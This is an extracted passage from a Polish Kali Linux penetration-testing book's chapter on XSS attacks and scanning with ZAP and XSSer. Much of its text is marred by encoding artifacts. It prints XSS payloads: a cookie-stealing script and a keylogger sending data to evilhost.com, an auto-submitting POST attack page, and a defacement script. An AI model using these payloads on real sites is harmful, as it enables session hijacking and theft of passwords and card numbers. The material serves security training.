Scriptu pobierane przez klienta z serwera. Za ka(cid:285)dym razem gdy od(cid:258)wie(cid:285)ana jest tylko cz(cid:218)(cid:258)(cid:202) strony,
wykorzystywany jest kod JavaScriptu. Typowym przyk(cid:239)adem jest witryna na (cid:285)ywo przedsta-
wiaj(cid:200)ca wyniki meczu. Sekcja z wynikami jest w niej aktualizowana w równych odst(cid:218)pach czasu.
Ataki XSS na DOM wykorzystuj(cid:200) taki legalny kod przeznaczony do wykonania przez klienta.
W tym ataku najwa(cid:285)niejsze jest to, (cid:285)e legalny skrypt na podstawie danych wprowadzanych przez
u(cid:285)ytkownika dodaje tre(cid:258)(cid:202) HTML-a do strony, która nast(cid:218)pnie zostaje wy(cid:258)wietlona w oknie
przegl(cid:200)darki.
Przeanalizujemy konkretny przyk(cid:239)ad ataku XSS na DOM:
1. Wyobra(cid:283) sobie stron(cid:218) internetow(cid:200), która ma wy(cid:258)wietla(cid:202) dostosowan(cid:200) tre(cid:258)(cid:202) w zale(cid:285)no(cid:258)ci
od nazwy miasta podanej w adresie URL. Nazwa ta jest równie(cid:285) wy(cid:258)wietlana na stronie
HTML-owej w przegl(cid:200)darce u(cid:285)ytkownika:
http://www.cityguide.com/index.html?city=Mumbai
2. Gdy przegl(cid:200)darka otrzyma powy(cid:285)szy adres, wysy(cid:239)a do http://www.cityguide.com/
(cid:285)(cid:200)danie strony internetowej. W przegl(cid:200)darce u(cid:285)ytkownika nast(cid:218)puje pobranie
i wykonanie legalnego kodu JavaScriptu, który dodaje do nag(cid:239)ówka strony nazw(cid:218)
miasta. Nazwa ta pochodzi z adresu URL (w tym przypadku jest to Mumbai),
a wi(cid:218)c stanowi parametr pozostaj(cid:200)cy pod kontrol(cid:200) u(cid:285)ytkownika.
3. Jak napisa(cid:239)em wcze(cid:258)niej, w atakach XSS na DOM szkodliwych skryptów nie
wysy(cid:239)a si(cid:218) do serwera. Jest to mo(cid:285)liwe dzi(cid:218)ki dodaniu do adresu URL znaku #,
który powoduje, (cid:285)e wszystko, co znajduje si(cid:218) za nim, nie zostanie wys(cid:239)ane.
W efekcie dzia(cid:239)aj(cid:200)cy na serwerze kod nie ma dost(cid:218)pu do tej cz(cid:218)(cid:258)ci adresu,
mimo (cid:285)e mo(cid:285)e z niej korzysta(cid:202) kod dzia(cid:239)aj(cid:200)cy na kliencie.
Przyk(cid:239)adowy szkodliwy adres URL skonstruowany wed(cid:239)ug tej zasady mo(cid:285)e
wygl(cid:200)da(cid:202) tak:
http://www.cityguide.com/index.html?#city= script function /script
4. Podczas (cid:239)adowania strony przegl(cid:200)darka znajduje legalny skrypt, który pobiera
z adresu URL nazw(cid:218) miasta do wstawienia do kodu HTML-a. W tym przypadku
jednak skrypt otrzymuje nie nazw(cid:218) miasta, tylko skrypt, który dodaje do (cid:283)ród(cid:239)a
strony. Podczas jej renderowania przegl(cid:200)darka wykonuje ten skrypt, co oznacza
udane przeprowadzenie ataku XSS na DOM.
Na rysunku na nast(cid:218)pnej stronie schematycznie przedstawiono zasad(cid:218) wykonywania ataku XSS
na DOM:
Obrona przed atakami XSS na DOM
Poniewa(cid:285) szkodliwa tre(cid:258)(cid:202) wykorzystywana w ataku XSS na DOM nie trafia do serwera, nie da si(cid:218)
jej wykry(cid:202) za pomoc(cid:200) technik serwerowych. Oczywi(cid:258)cie problem dotyczy sposobu dzia(cid:239)ania
aplikacji, ale le(cid:285)y po stronie kodu wykonywanego u klienta. Jedn(cid:200) z podstawowych metod
obrony jest rezygnacja z budowania stron HTML-owych za pomoc(cid:200) skryptów wykonywanych
w przegl(cid:200)darce.
162
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Czasami nie da si(cid:218) unikn(cid:200)(cid:202) odbierania danych od u(cid:285)ytkownika w kodzie lokalnym i wówczas
najlepszym rozwi(cid:200)zaniem jest nieu(cid:285)ywanie ryzykownych elementów HTML-a i metod Java-
Scriptu.
Z poni(cid:285)szych rozwi(cid:200)za(cid:241) nale(cid:285)y korzysta(cid:202) z najwi(cid:218)ksz(cid:200) ostro(cid:285)no(cid:258)ci(cid:200):
(cid:81) document.write():
document.write( City name= +userinput);
(cid:81) element.innerHTML:
element.innerHTML= div +userinput
+ /div ;
(cid:81) eval;
var UserInput= Mumbai ;alert(x); ;
eval( document.forms[0]. + Cityname= +txtUserInput);
Dodatkowo dane przekazywane przez u(cid:285)ytkownika mo(cid:285)na kodowa(cid:202) przed ich u(cid:285)yciem w kodzie
klienckim. Mo(cid:285)na tak(cid:285)e korzysta(cid:202) ze znaków oddzielania (cid:239)a(cid:241)cuchów oraz opakowywa(cid:202) dane
u(cid:285)ytkowników we w(cid:239)asne funkcje. Niektóre (cid:258)rodowiska JavaScriptu maj(cid:200) te(cid:285) wbudowane mecha-
nizmy ochrony przed atakami na DOM.
Kodowanie oznacza tak(cid:200) modyfikacj(cid:218) danych przekazywanych przez u(cid:285)ytkownika, aby przegl(cid:200)darka
mog(cid:239)a je zinterpretowa(cid:202) tylko jako zwyk(cid:239)e dane, a nie kod (cid:283)ród(cid:239)owy. Polega to np. na zamianie wszystkich
znaków typu i na encje lt; i gt;.
163
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Ataki XSS z u(cid:285)yciem metody POST
W opisanym wcze(cid:258)niej przyk(cid:239)adzie refleksyjnego ataku XSS u(cid:285)yta zosta(cid:239)a metoda GET, która
znacznie u(cid:239)atwia hakerowi wstrzykiwanie danych, poniewa(cid:285) wystarczy tylko spreparowa(cid:202) odpo-
wiedni adres URL ze skryptem i za pomoc(cid:200) sztuczki sk(cid:239)oni(cid:202) u(cid:285)ytkownika do jego klikni(cid:218)cia.
Kiedy strona internetowa przekazuje dane od u(cid:285)ytkownika za pomoc(cid:200) metody POST, napastnik
chc(cid:200)cy przeprowadzi(cid:202) atak XSS musi troch(cid:218) bardziej si(cid:218) napracowa(cid:202).
Metoda POST uniemo(cid:285)liwia bezpo(cid:258)rednie wstrzykni(cid:218)cie skryptu, poniewa(cid:285) dane wej(cid:258)ciowe nie s(cid:200)
przesy(cid:239)ane w adresie URL. Napastnik musi znale(cid:283)(cid:202) niebezpo(cid:258)redni sposób na wstrzykni(cid:218)cie
swojego skryptu do aplikacji. Poni(cid:285)ej znajduje si(cid:218) opis takiego procesu oparty na konkretnym
przyk(cid:239)adzie.
Powiedzmy, (cid:285)e pewna strona internetowa zawiera wyszukiwark(cid:218) podatn(cid:200) na ataki XSS i gdy
napastnik wstrzykuje skrypt do pola wyszukiwania na tej stronie, zostaje on zwrócony do prze-
gl(cid:200)darki bez jakiejkolwiek weryfikacji. Poni(cid:285)ej znajduje si(cid:218) przyk(cid:239)adowy kod HTML-a takiej
strony:
html
body
form name= query method= post action= /search.php
input type= text name= search_input value=
input type= submit value= wy(cid:258)lij
/form
/body
/html
Jednym ze sposobów na przeprowadzenie ataku XSS przy u(cid:285)yciu metody POST jest nak(cid:239)onienie
u(cid:285)ytkownika za pomoc(cid:200) sztuczki do wype(cid:239)nienia znajduj(cid:200)cego si(cid:218) na stronie napastnika formu-
larza i klikni(cid:218)cia przycisku zatwierdzaj(cid:200)cego. Po tym zdarzeniu aplikacja przenios(cid:239)aby u(cid:285)ytkowni-
ka do podatnej na ataki witryny, zamieniaj(cid:200)c dane u(cid:285)ytkownika na szkodliwy skrypt.
Próba zmuszenia u(cid:285)ytkownika do tego, by wype(cid:239)ni(cid:239) formularz w witrynie napastnika, ma ma(cid:239)e
szanse powodzenia i rzadko ko(cid:241)czy si(cid:218) sukcesem. Dlatego nale(cid:285)y zastosowa(cid:202) rozwi(cid:200)zanie auto-
matyczne, polegaj(cid:200)ce na wstawieniu szkodliwego skryptu i (cid:285)(cid:200)dania POST do podatnej aplikacji
bezpo(cid:258)rednio na stron(cid:218) kontrolowan(cid:200) przez napastnika. Zastanówmy si(cid:218), jak taka strona powinna
by(cid:202) zbudowana. Kontrolowana przez hakera witryna znajduje si(cid:218) pod adresem: http://www.
evilattacker.com i (cid:239)aduje podatn(cid:200) na ataki stron(cid:218): http://www.xssvulnerable.org/search.php. Gdy
kto(cid:258) wejdzie pod adres evilattacker.com, zostaje wywo(cid:239)ana funkcja onload, wskutek czego przegl(cid:200)-
darka wysy(cid:239)a do podatnej witryny metod(cid:200) POST (cid:285)(cid:200)danie HTTP zawieraj(cid:200)ce specjalny kod i aby
do tego dosz(cid:239)o, ofiara nie musi nawet klika(cid:202) (cid:285)adnego przycisku. Oto przyk(cid:239)adowy kod tej strony:
html
head
body onload= evilsearch.submit();
form method= post
action= http://www.xssvulnerable.org/search.php name= evilsearch
164
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
input name= search_input value= SCRIPT alert( XSS ) /
SCRIPT
input type= submit class= button name= submit
/form
/body
/html
Stosuj(cid:200)c t(cid:218) technik(cid:218), napastnik nie potrzebuje wype(cid:239)nienia formularza przez u(cid:285)ytkownika.
Wystarczy, (cid:285)e nak(cid:239)oni go do wej(cid:258)cia na kontrolowan(cid:200) przez siebie stron(cid:218) internetow(cid:200).
XSS i JavaScript — (cid:258)miertelna mieszanka
Hakerzy bardzo pomys(cid:239)owo wykorzystuj(cid:200) luki XSS, a dodatek JavaScriptu jeszcze zwi(cid:218)ksza ich
mo(cid:285)liwo(cid:258)ci. Techniki XSS w po(cid:239)(cid:200)czeniu z JavaScriptem mog(cid:200) by(cid:202) stosowane do przeprowadzania
nast(cid:218)puj(cid:200)cych rodzajów ataków:
(cid:81) przechwytywanie kont;
(cid:81) zmienianie tre(cid:258)ci;
(cid:81) podmienianie tre(cid:258)ci ca(cid:239)ych witryn;
(cid:81) skanowanie portów z komputera ofiary;
(cid:81) rejestrowanie naciskanych klawiszy;
(cid:81) kradzie(cid:285) informacji z przegl(cid:200)darki.
Poni(cid:285)ej dok(cid:239)adniej omawiam kilka przyk(cid:239)adów.
Kradzie(cid:285) ciasteczek
Ka(cid:285)da dyskusja na temat ataków typu XSS zaczyna si(cid:218) od tego, jak przy u(cid:285)yciu technik XSS
i JavaScriptu mo(cid:285)na zdoby(cid:202) dane z ciasteczek. Wykradzione ciasteczka haker mo(cid:285)e wykorzysta(cid:202)
w celu podszycia si(cid:218) pod ofiar(cid:218) na czas sesji, czyli do momentu a(cid:285) u(cid:285)ytkownik wyloguje si(cid:218)
z aplikacji.
W(cid:239)asno(cid:258)(cid:202) document.cookie struktury DOM dokumentu HTML-a zwraca warto(cid:258)ci wszystkich cia-
steczek przypisanych do bie(cid:285)(cid:200)cej sesji. Napastnik mo(cid:285)e wi(cid:218)c np. wstrzykn(cid:200)(cid:202) do sekcji komentarzy
witryny podatnej na ataki typu XSS poni(cid:285)szy kod:
script language= JavaScript
Document.location= http://www.evilhost.com/cookielogger.php?cookie= +document.cookie;
/script
165
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Gdy u(cid:285)ytkownik otworzy t(cid:218) stron(cid:218), nast(cid:218)puje tak(cid:285)e pobranie dotycz(cid:200)cych jej komentarzy, w któ-
rych znajduje si(cid:218) powy(cid:285)szy skrypt wysy(cid:239)aj(cid:200)cy ciasteczko do nale(cid:285)(cid:200)cego do napastnika serwera
evilhost.com.
Je(cid:258)li zostanie ustawiona flaga HttpOnly, która jest opcjonaln(cid:200) flag(cid:200) ciasteczek, JavaScript nie b(cid:218)dzie
mie(cid:202) dost(cid:218)pu do ciasteczka.
Rejestrowanie naciskanych klawiszy
Wstrzykuj(cid:200)c specjalny skrypt JavaScriptu, napastnik mo(cid:285)e te(cid:285) zarejestrowa(cid:202), jakie klawisze naci-
ska ofiara, i w ten sposób zdoby(cid:202) jej has(cid:239)a, nazwy u(cid:285)ytkownika, numery kart kredytowych itd.,
które mo(cid:285)e przes(cid:239)a(cid:202) do swojego serwera.
Poni(cid:285)ej znajduje si(cid:218) przyk(cid:239)adowy prosty skrypt rejestruj(cid:200)cy wszystkie naciskane klawisze:
script
document.onkeypress = function(e)
var img = new Image();
img.src= http://www.evilhost.com/keylogger.php?data= +e.which;
/script
Gdy u(cid:285)ytkownik naci(cid:258)nie jaki(cid:258) klawisz, nast(cid:218)puje uruchomienie zdarzenia onkeypress. Powoduje
to utworzenie obiektu o nazwie e dla ka(cid:285)dego klawisza, który zosta(cid:239) naci(cid:258)ni(cid:218)ty. S(cid:239)owo kluczowe
which jest w(cid:239)asno(cid:258)ci(cid:200) obiektu e przechowuj(cid:200)c(cid:200) kod naci(cid:258)ni(cid:218)tego klawisza.
Zmiana wygl(cid:200)du witryny
Ataki, w wyniku których dochodzi do ca(cid:239)kowitej zmiany wygl(cid:200)du witryny, nazywaj(cid:200) si(cid:218) po angiel-
sku website defacing. Najcz(cid:218)(cid:258)ciej przeprowadzaj(cid:200) je aktywi(cid:258)ci pragn(cid:200)cy wypromowa(cid:202) swoj(cid:200)
dzia(cid:239)alno(cid:258)(cid:202). W(cid:239)asno(cid:258)(cid:202) document.body.innerHTML umo(cid:285)liwia manipulowanie z poziomu JavaScriptu
zawarto(cid:258)ci(cid:200) za(cid:239)adowanej strony HTML-owej. Stworzono j(cid:200) do legalnych celów, ale, jak wszystko
inne, napastnik mo(cid:285)e j(cid:200) wykorzysta(cid:202) w z(cid:239)ej wierze — w tym przypadku do podmiany zawarto(cid:258)ci
stron.
Gdy do aplikacji zostanie wstrzykni(cid:218)ty poni(cid:285)szy skrypt, zawarto(cid:258)(cid:202) bie(cid:285)(cid:200)cej strony zostanie zamie-
niona na napis TA WITRYNA PAD(cid:146)A OFIAR(cid:107) ATAKU:
script
document.body.innerHTML= div style=visibility:visible; h1
(cid:180)TA WITRYNA PAD(cid:146)A OFIAR(cid:107) ATAKU /h1 /div ;
/script
166
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Skanowanie w poszukiwaniu luk typu XSS
System Kali Linux zawiera liczne narz(cid:218)dzia do automatyzacji procesu szukania luk XSS. Najbar-
dziej (cid:285)mudna, ale i najskuteczniejsza jest metoda r(cid:218)czna, w ramach której przechwytuje si(cid:218) (cid:285)(cid:200)da-
nie HTTP za pomoc(cid:200) po(cid:258)rednika, zmienia si(cid:218) zawarto(cid:258)(cid:202) pól oraz wstawia si(cid:218) w(cid:239)asn(cid:200) tre(cid:258)(cid:202).
Poniewa(cid:285) aplikacje staj(cid:200) si(cid:218) coraz bardziej skomplikowane, zawieraj(cid:200) wiele pól, w(cid:258)ród których
bardzo (cid:239)atwo przy r(cid:218)cznym przegl(cid:200)dzie pomin(cid:200)(cid:202) te podatne na ataki. Dlatego te(cid:285) technika r(cid:218)czna
jest wskazana jedynie, gdy trzeba bardzo dok(cid:239)adnie przeanalizowa(cid:202) wybrany parametr. Z punktu
widzenia napastnika automatyzacja zadania identyfikacji podatnych parametrów jest korzystna,
poniewa(cid:285) znacznie skraca czas potrzebny na opracowanie eksploita. W Kali Linuksie znajduje
si(cid:218) kilka narz(cid:218)dzi do automatycznego skanowania aplikacji w poszukiwaniu luk XSS. W tej sekcji
opisuj(cid:218) nast(cid:218)puj(cid:200)ce programy:
(cid:81) OWASP Zed Attack Proxy,
(cid:81) XSSer,
(cid:81) w3af.
Zed Attack Proxy
Program Zed Attack Proxy (ZAP) to narz(cid:218)dzie open source do przeprowadzania testów penetra-
cyjnych na aplikacjach sieciowych. Ten prowadzony przez OWASP projekt jest ga(cid:239)(cid:218)zi(cid:200) proxy
Paros. W Kali Linuksie 2.0 dost(cid:218)pna jest wersja 2.4.1. Jej najwa(cid:285)niejsze funkcje to:
(cid:81) proxy przechwytuj(cid:200)cy ruch;
(cid:81) skaner aktywny i pasywny;
(cid:81) brute force;
(cid:81) fuzzing;
(cid:81) obs(cid:239)uga szerokiego spektrum j(cid:218)zyków zabezpiecze(cid:241).
Standardowo ZAP dzia(cid:239)a jako pasywny proxy, tzn. nie przechwytuje aktywnie ruchu, dopóki u(cid:285)yt-
kownik nie ustawi punktu wstrzymania na adresie URL, wobec którego chcia(cid:239)by przechwyci(cid:202)
(cid:285)(cid:200)danie i odpowied(cid:283). ZAP mo(cid:285)na znale(cid:283)(cid:202) w sekcji Applications/Web Application Analysis (aplika-
cje/analiza aplikacji sieciowych).
W tym przypadku narz(cid:218)dzia ZAP u(cid:285)yjemy do identyfikacji luk XSS w aplikacjach sieciowych.
Podobnie jak w przypadku ka(cid:285)dego po(cid:258)rednika (ang. proxy), najpierw nale(cid:285)y skonfigurowa(cid:202)
przegl(cid:200)dark(cid:218) internetow(cid:200) tak, aby przesy(cid:239)a(cid:239)a przez niego ruch. Przegl(cid:200)dark(cid:218) mo(cid:285)na skonfiguro-
wa(cid:202) w(cid:239)asnor(cid:218)cznie albo za pomoc(cid:200) specjalnego dodatku o nazwie FoxyProxy do Firefoksa, który
te(cid:285) wymaga wst(cid:218)pnej konfiguracji. Po jej dokonaniu pozostaje wybra(cid:202) ustawienia proxy z menu
rozwijanego, jak pokazano na poni(cid:285)szym rysunku:
167
Poleć książkęKup książkęKali Linux. Testy penetracyjne
ZAP to wszechstronne narz(cid:218)dzie do testowania aplikacji sieciowych. Na karcie Sites (witryny),
znajduj(cid:200)cej si(cid:218) w lewym górnym rogu okna, znajduje si(cid:218) lista wszystkich odwiedzonych serwisów.
Podczas przegl(cid:200)dania portalu program prowadzi w tle pasywne skanowanie i próbuje wykry(cid:202) luki
za pomoc(cid:200) analizy stron.
Narz(cid:218)dzie sprawdza (cid:285)(cid:200)dania i odpowiedzi HTTP, aby stwierdzi(cid:202), czy istnieje mo(cid:285)liwo(cid:258)(cid:202) wyst(cid:218)po-
wania jakiej(cid:258) luki w zabezpieczeniach. Wykryte usterki wy(cid:258)wietla na znajduj(cid:200)cej si(cid:218) u do(cid:239)u okna
karcie Alerts (powiadomienia). Na rysunku na nast(cid:218)pnej stronie wida(cid:202), (cid:285)e program znalaz(cid:239) cia-
steczka ustawiane bez u(cid:285)ycia znacznika HTTPOnly:
168
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Okre(cid:258)lanie zakresu i wybór trybów
Po skonfigurowaniu przegl(cid:200)darki do wspó(cid:239)pracy z ZAP program ten wy(cid:258)wietla wszystkie odwie-
dzane strony w okienku Sites po lewej stronie. Podczas testu penetracyjnego wa(cid:285)ne jest, aby
zidentyfikowa(cid:202) okre(cid:258)lone cele, dlatego nale(cid:285)y zdefiniowa(cid:202) zakres witryn. W tym celu kliknij
prawym przyciskiem myszy interesuj(cid:200)cy Ci(cid:218) adres URL, rozwi(cid:241) menu Include in Context (dodaj
do kontekstu) i kliknij pozycj(cid:218) New context (nowy kontekst), aby utworzy(cid:202) nowy zakres dla tego
adresu. Adresy dodane do zakresu s(cid:200) oznaczone specjaln(cid:200) ikon(cid:200): .
Je(cid:285)eli w witrynie stosowane jest uwierzytelnianie za pomoc(cid:200) formularza i tre(cid:258)(cid:202) mo(cid:285)na obejrze(cid:202)
tylko po zalogowaniu, adres URL strony uwierzytelniania nale(cid:285)y oznaczy(cid:202) jako Form-based Auth
Login request ((cid:285)(cid:200)danie autoryzacji logowania za pomoc(cid:200) formularza), jak pokazano na poni(cid:285)szym
rysunku:
169
Poleć książkęKup książkęKali Linux. Testy penetracyjne
W oknie konfiguracji wybierz opcj(cid:218) Authentication (uwierzytelnianie), a nast(cid:218)pnie skonfiguruj
parametry nazwy u(cid:285)ytkownika i has(cid:239)a. W opcji Users (u(cid:285)ytkownicy) zdefiniuj nazw(cid:218) u(cid:285)ytkownika
i has(cid:239)o, a nast(cid:218)pnie wybierz tego u(cid:285)ytkownika w opcji Forced User (wymuszany u(cid:285)ytkownik):
Po skonfigurowaniu tych trzech opcji w oknie g(cid:239)ównym zostanie aktywowana opcja Forced User
Mode (tryb u(cid:285)ytkownika wymuszonego):
Po w(cid:239)(cid:200)czeniu opcji Forced User Mode ka(cid:285)de (cid:285)(cid:200)danie przesy(cid:239)ane przez ZAP b(cid:218)dzie automatycznie
uwierzytelniane. Je(cid:285)eli u(cid:285)ytkownik zostanie wylogowany podczas skanowania, automatycznie
nast(cid:200)pi ponowne zalogowanie.
Tryby dzia(cid:239)ania
ZAP mo(cid:285)na skonfigurowa(cid:202) do dzia(cid:239)ania w kilku trybach. W lewym górnym rogu okna znajduje si(cid:218)
lista rozwijana zawieraj(cid:200)ca trzy tryby:
(cid:81) Safe mode (tryb bezpieczny) — w tym trybie ZAP skanuje aplikacj(cid:218) w sposób
nieintruzyjny, tzn. dzia(cid:239)a jak skaner pasywny, próbuj(cid:200)c zidentyfikowa(cid:202) najprostsze
b(cid:239)(cid:218)dy, takie jak mo(cid:285)liwo(cid:258)(cid:202) przegl(cid:200)dania katalogów czy wycieki informacji. Narz(cid:218)dzie
aktywnie nie wchodzi w interakcje z aplikacj(cid:200), wi(cid:218)c nie ma mo(cid:285)liwo(cid:258)ci wykrycia
powa(cid:285)nych b(cid:239)(cid:218)dów zabezpiecze(cid:241), takich jak luki XSS.
170
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
(cid:81) Protected mode (tryb chroniony) — wybieraj(cid:200)c tryb chroniony, mo(cid:285)na stosowa(cid:202)
agresywne techniki skanowania w odniesieniu do adresu URL okre(cid:258)lonego w zakresie.
(cid:81) Standard mode (tryb standardowy) — w tym trybie mo(cid:285)na stosowa(cid:202) wszystkie
agresywne metody skanowania, bez wzgl(cid:218)du na to, czy dany adres URL jest w zakresie,
czy nie.
Polityka skanowania i atak
Za pomoc(cid:200) narz(cid:218)dzia ZAP mo(cid:285)na szuka(cid:202) wszystkich najwa(cid:285)niejszych luk w zabezpieczeniach, ale
my wykorzystamy go przede wszystkim do szukania luk umo(cid:285)liwiaj(cid:200)cych przeprowadzanie ataków
XSS. W zwi(cid:200)zku z tym musimy zdefiniowa(cid:202) polityk(cid:218) skanowania, aby skonfigurowa(cid:202) regu(cid:239)y XSS
w ramach aktywnego skanowania.
Na górze znajduje si(cid:218) menu o nazwie Analyse (analizuj), w którym nale(cid:285)y klikn(cid:200)(cid:202) pozycj(cid:218) Scan
Policy (polityka skanowania). Spowoduje to otwarcie okna konfiguracji. Obok nazwy ka(cid:285)dego testu
znajduj(cid:200) si(cid:218) opcje Threshold (próg) i Strength (moc) — zobacz rysunek na nast(cid:218)pnej stronie.
Poni(cid:285)ej znajduje si(cid:218) szczegó(cid:239)owy opis tych opcji:
(cid:81) Threshold — ta opcja okre(cid:258)la poziom niezawodno(cid:258)ci luk wykrytych w te(cid:258)cie.
Ustawienie Low (niski) powoduje, (cid:285)e cz(cid:218)(cid:258)ciej b(cid:218)d(cid:200) wyst(cid:218)powa(cid:202) fa(cid:239)szywe wyniki
dodatnie. Ustawienie High (wysoki) pozwala znale(cid:283)(cid:202) mniej luk. Wprawdzie dzi(cid:218)ki
temu otrzymamy mniej fa(cid:239)szywych wyników dodatnich, ale jednocze(cid:258)nie mo(cid:285)emy
przeoczy(cid:202) co(cid:258) wa(cid:285)nego. Dlatego najlepiej jest wybra(cid:202) ustawienie po(cid:258)rednie,
czyli opcj(cid:218) Medium.
(cid:81) Strength — ta opcja okre(cid:258)la liczb(cid:218) testów, które ZAP ma wykona(cid:202) w celu
potwierdzenia istnienia luki. Wybór ustawienia Low sprawi, (cid:285)e ZAP przetestuje
wykryt(cid:200) luk(cid:218) przy u(cid:285)yciu mniejszej liczby pakietów danych i test szybciej
dobiegnie ko(cid:241)ca. Z drugiej strony, ustawienie High zapewni wypróbowanie
171
Poleć książkęKup książkęKali Linux. Testy penetracyjne
wi(cid:218)kszej liczby metod ataku, co wyd(cid:239)u(cid:285)y czas trwania testu. Opcja Insane
(bez umiaru), jak wskazuje nazwa, powoduje wykonanie bardzo du(cid:285)ej liczby
ataków i powinno si(cid:218) z niej korzysta(cid:202) tylko w warunkach laboratoryjnych
i w (cid:258)rodowiskach kontrolowanych.
Aby skonfigurowa(cid:202) polityk(cid:218) dotycz(cid:200)c(cid:200) luk XSS, nale(cid:285)y poda(cid:202) jej nazw(cid:218) i z lewej strony w sekcji
Injection wy(cid:239)(cid:200)czy(cid:202) wszystkie testy z wyj(cid:200)tkiem cross-site scripting (persistent) i cross-site scripting
(reflected). Je(cid:258)li zamierzasz jeszcze kiedy(cid:258) wykorzysta(cid:202) t(cid:218) polityk(cid:218), kliknij przycisk Save Policy
(zapisz polityk(cid:218)). Nast(cid:218)pnie kliknij prawym przyciskiem myszy docelowy adres URL i przejd(cid:283)
do Attack/Active scan all in scope (atak/aktywne skanowanie wszystkich w zakresie).
W efekcie ZAP rozpocznie swoje czary i wy(cid:258)wietli powiadomienia o wszystkich znalezionych
lukach XSS u do(cid:239)u okna na karcie Alerts. Klikni(cid:218)cie jednego z powiadomie(cid:241) spowoduje wy(cid:258)wie-
tlenie wys(cid:239)anego do serwera (cid:285)(cid:200)dania HTTP, które spowodowa(cid:239)o ujawnienie luki. Na rysunku na
nast(cid:218)pnej stronie wida(cid:202), (cid:285)e wstrzykni(cid:218)to skrypt do parametru author.
XSSer
Program Cross Site Scripter (XSSer) to narz(cid:218)dzie do automatycznego wykrywania i wykorzy-
stywania luk XSS. W Kali Linuksie dost(cid:218)pna jest wersja 1.6 (beta). Program ten zawiera kilka
opcji umo(cid:285)liwiaj(cid:200)cych obej(cid:258)cie filtrów danych wej(cid:258)ciowych zaimplementowanych przez twórców
atakowanej aplikacji.
172
Poleć książkęKup książkęRozdzia(cid:225) 6. • Luki umo(cid:298)liwiaj(cid:261)ce przeprowadzanie ataków XSS i XSRF
Funkcje
Oto niektóre najwa(cid:285)niejsze funkcje programu XSSer:
(cid:81) narz(cid:218)dzie wiersza polece(cid:241) i interfejs graficzny;
(cid:81) wy(cid:258)wietlanie szczegó(cid:239)owych danych dotycz(cid:200)cych ataku;
(cid:81) wstrzykiwanie kodu za pomoc(cid:200) metod GET i POST;
(cid:81) mo(cid:285)liwo(cid:258)(cid:202) dodania ciasteczka w odniesieniu do witryn wymagaj(cid:200)cych uwierzytelniania;
(cid:81) mo(cid:285)liwo(cid:258)(cid:202) ustawiania ró(cid:285)nych pól nag(cid:239)ówka HTTP, np. Referrer i User-Agent;
(cid:81) ró(cid:285)ne techniki obchodzenia filtrów, np. stosowanie kodowania dziesi(cid:218)tnego
i szesnastkowego oraz korzystanie z funkcji unescape().
Graficzny interfejs u(cid:285)ytkownika (ang. graphical user interface — GUI) programu XSSer mo(cid:285)na
uruchomi(cid:202) wprost z poziomu pow(cid:239)oki za pomoc(cid:200) opcji -gtk. Zawiera on tak(cid:285)e kreator dla nowych
u(cid:285)ytkowników, który zadaje kilka pyta(cid:241) i na podstawie otrzymanych odpowiedzi tworzy szablon.
Po zdefiniowaniu wszystkich opcji dotycz(cid:200)cych planowanego testu nale(cid:285)y klikn(cid:200)(cid:202) przycisk Aim
(celuj), aby pozwoli(cid:202) programowi dzia(cid:239)a(cid:202) (zobacz rysunek na nast(cid:218)pnej stronie).
Skrót gtk oznacza Gimp Toolkit, czyli zestaw narz(cid:218)dzi u(cid:285)ywany przez programistów do tworzenia graficznych
interfejsów do programów.
173
Poleć książkęKup książkęKali Linux. Testy penetracyjne
Do(cid:258)wiadczeni hakerzy wol(cid:200) pos(cid:239)ugiwa(cid:202) si(cid:218) wierszem polece(cid:241). Za pomoc(cid:200) polecenia xsser -help
mo(cid:285)na wy(cid:258)wietli(cid:202) list(cid:218) obs(cid:239)ugiwanych przez narz(cid:218)dzie opcji. Najwa(cid:285)niejsze polecenia s(cid:200) wymie-
nione w poni(cid:285)szej tabeli:
Opcja
-u
-g
-p
--heuristic
--cookie
-s -v
Opis
Okre(cid:258)la docelowy adres URL
Wstrzykuje skrypt w okre(cid:258)lonym parametrze GET
Wstrzykuje skrypt w okre(cid:258)lonym parametrze POST
Próbuje si(cid:218) dowiedzie(cid:202), które znaki filtruje aplikacja
Wstawia ciasteczko do (cid:285)(cid:200)dania HTTP
Opcje wy(cid:258)wietlaj(cid:200)ce statystyki i pe(cid:239)ne dane wynikowe
XSSer to zaawansowane narz(cid:218)dzie zawieraj(cid:200)ce znacznie wi(cid:218)cej opcji ni(cid:285) wymieniono w tej tabeli,
ale ten zestaw powinien wystarczy(cid:202) na dobry pocz(cid:200)tek.
Poni(cid:285)ej przedstawiam przyk(cid:239)ad testu aplikacji sieciowej podatnej na ataki XSS. Aplikacja ta
wymaga uwierzytelniania, po którego dokonaniu ustawia ciasteczko identyfikuj(cid:200)ce u(cid:285)ytkownika
w nast(cid:218)pnych operacjach. Ciasteczko to jest przesy(cid:239)ane w (cid:285)(cid:200)daniu za pomoc(cid:200) opcji -cookie. Para-
metr do przetestowania jest przekazywany za pomoc(cid:200) opcji -g, tak jak w metodzie GET:
xsser -u http://192.168.1.72/dvwa/vulnerabilities/ -g
xss_r/?name= --cookie= security=low;
PHPSESSID=n78lph8ojlp0khpli1ms3s73h5 -s –v
Ze wzgl(cid:218)du na u(cid:285)ycie opcji Verbose w wynikach pokazane s(cid:200) te(cid:285) ró(cid:285)ne domy(cid:258)lne opcje ustawione
przez program XSSer. XSSer wstrzykuje parametr i próbuje si(cid:218) dowiedzie(cid:202), czy jest on podatny
na atak XSS, jak wida(cid:202) na rysunku na nast(cid:218)pnej stronie.
w3af
Kolejnym ciekawym narz(cid:218)dziem w systemie Kali Linux jest (cid:258)rodowisko do przeprowadzania
audytów i atakowania aplikacji sieciowych, którego skrótowa nazwa brzmi w3af. U(cid:285)y(cid:239)em s(cid:239)owa
